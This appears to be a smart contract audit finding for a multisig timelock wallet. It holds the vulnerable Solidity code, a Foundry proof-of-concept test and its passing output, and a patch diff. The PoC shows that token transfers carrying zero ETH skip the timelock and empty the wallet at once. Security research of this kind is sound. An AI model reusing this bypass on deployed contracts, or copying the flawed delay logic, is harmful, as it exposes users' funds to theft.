function _executeTransaction(uint256 txnId) internal {
Transaction storage txn = s_transactions[txnId];
uint256 requiredDelay = _getTimelockDelay(txn.value);
uint256 executionTime = txn.proposedAt + requiredDelay;
if (block.timestamp < executionTime) {
revert MultiSigTimelock__TimelockHasNotExpired(executionTime);
}
(bool success,) = payable(txn.to).call{value: txn.value}(txn.data);
if (!success) { revert MultiSigTimelock__ExecutionFailed(); }
}
function _getTimelockDelay(uint256 value) internal pure returns (uint256) {
...
}
pragma solidity ^0.8.19;
import {Test, console2} from "forge-std/Test.sol";
import {MultiSigTimelock} from "src/MultiSigTimelock.sol";
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
contract MultiSigTimeLockTest is Test {
MultiSigTimelock multiSigTimelock;
address public immutable RECIPIENT = makeAddr("recipient");
address public immutable SIGNER_TWO = makeAddr("signer_two");
address public immutable SIGNER_THREE = makeAddr("signer_three");
function setUp() public {
multiSigTimelock = new MultiSigTimelock();
}
function testTimelockBypassForNonETHAssets() public {
MockERC20 token = new MockERC20();
uint256 bigAmount = 1_000_000 ether;
token.mint(address(multiSigTimelock), bigAmount);
uint256 walletBalance = token.balanceOf(address(multiSigTimelock));
assertEq(walletBalance, bigAmount, "Wallet funded with tokens");
console2.log("Wallet initial token balance:", walletBalance);
uint256 recipientBalance = token.balanceOf(RECIPIENT);
assertEq(recipientBalance, 0, "Recipient starts with zero tokens");
console2.log("Recipient initial token balance:", recipientBalance);
bytes memory data = abi.encodeWithSignature("transfer(address,uint256)", RECIPIENT, bigAmount);
uint256 txnId = multiSigTimelock.proposeTransaction(address(token), 0, data);
multiSigTimelock.grantSigningRole(SIGNER_TWO);
multiSigTimelock.grantSigningRole(SIGNER_THREE);
multiSigTimelock.confirmTransaction(txnId);
vm.prank(SIGNER_TWO);
multiSigTimelock.confirmTransaction(txnId);
vm.prank(SIGNER_THREE);
multiSigTimelock.confirmTransaction(txnId);
vm.prank(SIGNER_TWO);
multiSigTimelock.executeTransaction(txnId);
recipientBalance = token.balanceOf(RECIPIENT);
assertEq(recipientBalance, bigAmount, "Tokens moved instantly");
console2.log("Recipient final token balance:", recipientBalance);
walletBalance = token.balanceOf(address(multiSigTimelock));
assertEq(walletBalance, 0, "Wallet drained with no delay");
console2.log("Wallet final token balance:", walletBalance);
}
}
contract MockERC20 is ERC20 {
constructor() ERC20("Mock", "MCK") {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
[⠊] Compiling...
No files changed, compilation skipped
Ran 1 test for test/unit/poc.t.sol:MultiSigTimeLockTest
[PASS] testTimelockBypassForNonETHAssets() (gas: 1360022)
Logs:
Wallet initial token balance: 1000000000000000000000000
Recipient initial token balance: 0
Recipient final token balance: 1000000000000000000000000
Wallet final token balance: 0
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.67ms (505.30µs CPU time)
Ran 1 test suite in 14.18ms (1.67ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
function _executeTransaction(uint256 txnId) internal {
Transaction storage txn = s_transactions[txnId];
- uint256 requiredDelay = _getTimelockDelay(txn.value);
+ uint256 requiredDelay = _getTimelockDelay(txn.value);
+ // Apply at least a 1-day delay to any data-bearing call (token transfers, approvals, admin calls)
+ if (txn.data.length > 0 && requiredDelay < ONE_DAY_TIME_DELAY) {
+ requiredDelay = ONE_DAY_TIME_DELAY;
+ }
uint256 executionTime = txn.proposedAt + requiredDelay;
if (block.timestamp < executionTime) {
revert MultiSigTimelock__TimelockHasNotExpired(executionTime);
}
(bool success,) = payable(txn.to).call{value: txn.value}(txn.data);
if (!success) { revert MultiSigTimelock__ExecutionFailed(); }
emit TransactionExecuted(txnId, txn.to, txn.value);
}